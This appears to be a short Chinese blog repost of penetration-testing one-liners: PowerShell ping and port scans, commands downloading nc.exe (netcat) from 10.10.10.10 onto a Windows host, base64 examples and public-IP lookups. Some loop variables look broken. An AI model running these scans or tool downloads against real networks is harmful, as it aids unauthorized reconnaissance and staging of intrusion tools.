其他分享
首页 > 其他分享> > pentest魔法书

pentest魔法书

作者:互联网

常用命令介绍:
powershell
ping扫描:
1..255 | % {echo "192.168.0.$"; ping -n 1 -w 100 192.168.0.$ | Select-String ttl}
powershell下载:

(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/nc.exe","c:\nc.exe")
Win 8 and later: > wget "http://10.10.10.10/nc.exe" -outfile "c:\nc.exe"
端口扫描:
1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.0.101", $)) "Port $ is open!"} 2>$null

bash
base64编码和解码:
$ echo 'Hello, World!' | base64
$ echo 'SGVsbG8sIFdvcmxkIQo=' | base64 -d
获得公网IP:
curl -4 icanhazip.com
wget -qO- ifconfig.me/ip

标签:exe,nc,192.168,echo,base64,10.10,pentest,魔法书
来源: https://www.cnblogs.com/xxws/p/15824797.html